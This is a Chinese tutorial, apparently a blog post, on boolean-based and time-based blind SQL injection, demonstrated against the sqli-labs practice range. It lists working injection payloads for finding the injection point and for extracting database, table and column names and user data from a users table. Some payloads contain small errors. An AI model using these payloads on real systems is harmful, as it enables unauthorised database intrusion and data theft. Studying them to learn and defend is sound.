SQL bool盲注和時間盲注詳解
目錄
- 一、bool盲注和時間盲注常用函數
- 二、bool盲注和時間盲注payload
- 1、SQL注入點探測
- 2、猜解數據庫名
- 3、猜解表名
- 4、猜解字段名
- 5、猜解數據
今天繼續給大家介紹Linux運維相關知識,本文主要內容是SQL bool盲注和時間盲注。
免責聲明:
本文所介紹的內容僅做學習交流使用,嚴禁利用文中技術進行非法行為,否則造成一切嚴重后果自負!
再次強調:嚴禁對未授權設備進行滲透測試!
一、bool盲注和時間盲注常用函數
1、休眠函數
sleep()是SQL語句中用于休眠的函數,時間盲注中常用,sleep(x)可以讓程序休眠x秒。
2、字符串截取函數
字符串截取函數是bool盲注和時間盲注中都需要使用的函數。常用的字符串截取函數有mid()、substr()、left()。
mid()函數格式為:
mid(【目標字段】,【開始的位置】,【截取長度】)
其中,開始的位置默認從1開始。
substr()函數的用法與mid相似,left函數則默認從字段的最左邊開始截取,其格式為:
left(【目標字段】,【截取長度】)
表示從目標字段的左邊開始截取指定長度的字符。
3、字符串長度函數
字符串長度函數length()會應用在SQL bool盲注和時間盲注中,length()函數可以反饋目標字符串的長度。
4、ascii碼轉換函數
ascii碼轉換函數可以將一個字符轉換成ascii碼,在SQL基于時間的盲注和基于bool的盲注中,ascii碼轉換函數可以將一個字符轉換成其ascii碼值。常用的ascii碼轉換函數為ascii()、ord()。
5、條件判斷函數
條件判斷函數if是SQL時間盲注中的必用函數,可以利用if函數來根據條件來反饋不同的結果。
if函數格式如下所示:
if(【條件】,【值1】,【值2】)
當條件成立時,if函數返回值1,當條件不成立時,if函數返回值2.
二、bool盲注和時間盲注payload
1、SQL注入點探測
我們使用sqli_lab的靶場,對基于bool的盲注和基于時間的盲注進行講解,在sqli_lab靶場中,基于bool的盲注是第8關,基于時間的盲注是第9關,頁面如下所示:
對于bool類型的盲注,我們可以通過執行以下payload來探測是否存在注入點:
id=1"and 1=2#
如果顯示異常,那么就說明and后面的內容被成功執行,因此可能存在bool類型的SQL注入。
對于時間類型的盲注,我們可以通過執行以下payload來探測是否存在注入點:
id=1"and sleep(10)#
如果網頁反應時間出現了明顯延遲,就說明存在基于時間的SQL注入。
2、猜解數據庫名
bool類型的盲注猜解數據庫長度payload如下所示:
id=1"and length(database())>10#
時間類型的盲注猜解數據庫長度payload如下所示:
id=1"and sleep(if(length(database())>10,10,1))>10#
bool類型的盲注猜解數據庫名稱payload如下所示:
id=1"and ascii(mid(database(),1,1))>115#
時間類型的盲注猜解數據庫名稱payload如下所示:
id=1"and sleep(if(ascii(mid(database(),1,1))>115,10,1))#
上述四個payload,length函數用于反饋查詢結果的長度,mid函數用于截取查詢結果的指定字符,ascii函數用于將其轉換為ascii碼的形式,if函數中第一個參數為一個判斷表達式,本質上是bool類型盲注的核心,后面的10和1分別為表達式成立或者不成立條件下的返回值,該返回值為sleep函數的輸入,以此就可以控制網頁反應的時間。
3、猜解表名
bool類型的盲注表名個數猜解payload如下所示:
id=1"and (select count(*) from information_schema.tables where table_schema=database())>2#
時間類型的盲注表名個數猜解payload如下所示:
id=1"and sleep(if((select count(*) from information_schema.tables where table_schema=database())>2,10,1))#
bool類型的盲注表名猜解payload如下所示:
id=1"and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100#
時間類型的盲注表名猜解payload如下所示:
id=1"and sleep(if((ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100),10,1))#
在上述4個payload中,其原理與之前介紹的相似,但是是使用limit函數來不斷的控制反饋的變量。
4、猜解字段名
bool類型的盲注字段名個數猜解payload如下所示:
id=1"and (select count(*) from information_schema.columns where table_name="users"and table_schema=database())>1#
時間類型的盲注字段名個數猜解payload如下所示:
id=1"and sleep(if((select count(*) from information_schema.columns where table_name="users"and table_schema=database())>1,10,1))#
bool類型的盲注字段名個數猜解payload如下所示:
id=1"and ascii(mid((select% column_name from information_schema.columns where%20table_name="users"and table_schema=database() limit 0,1),1,1))>1000#
時間類型的盲注字段名個數猜解payload如下所示:
id=1"and sleep(if(ascii(mid((select% column_name from information_schema.columns where%20table_name="users"and table_schema=database() limit 0,1),1,1))>1000,10,1))#
其原理與之前類似。
5、猜解數據
bool類型的盲注數據長度猜解payload如下所示:
id=1"and (select count(*) from users)>1#
時間類型的盲注數據長度猜解payload如下所示:
id=1"and sleep(if((select count(*) from users)>1,10,1))#
bool類型的盲注數據猜解payload如下所示:
id=1"and ascii(mid((select username from users limit 0,1),1,1))>1#
時間類型的盲注數據猜解payload如下所示:
id=1"and sleep(if(ascii(mid((select username from users limit 0,1),1,1))>1,10,1))#
到此這篇關于SQL bool盲注和時間盲注詳解的文章就介紹到這了,更多相關SQL bool盲注和時間盲注內容請搜索以前的文章或繼續瀏覽下面的相關文章希望大家以后多多支持!
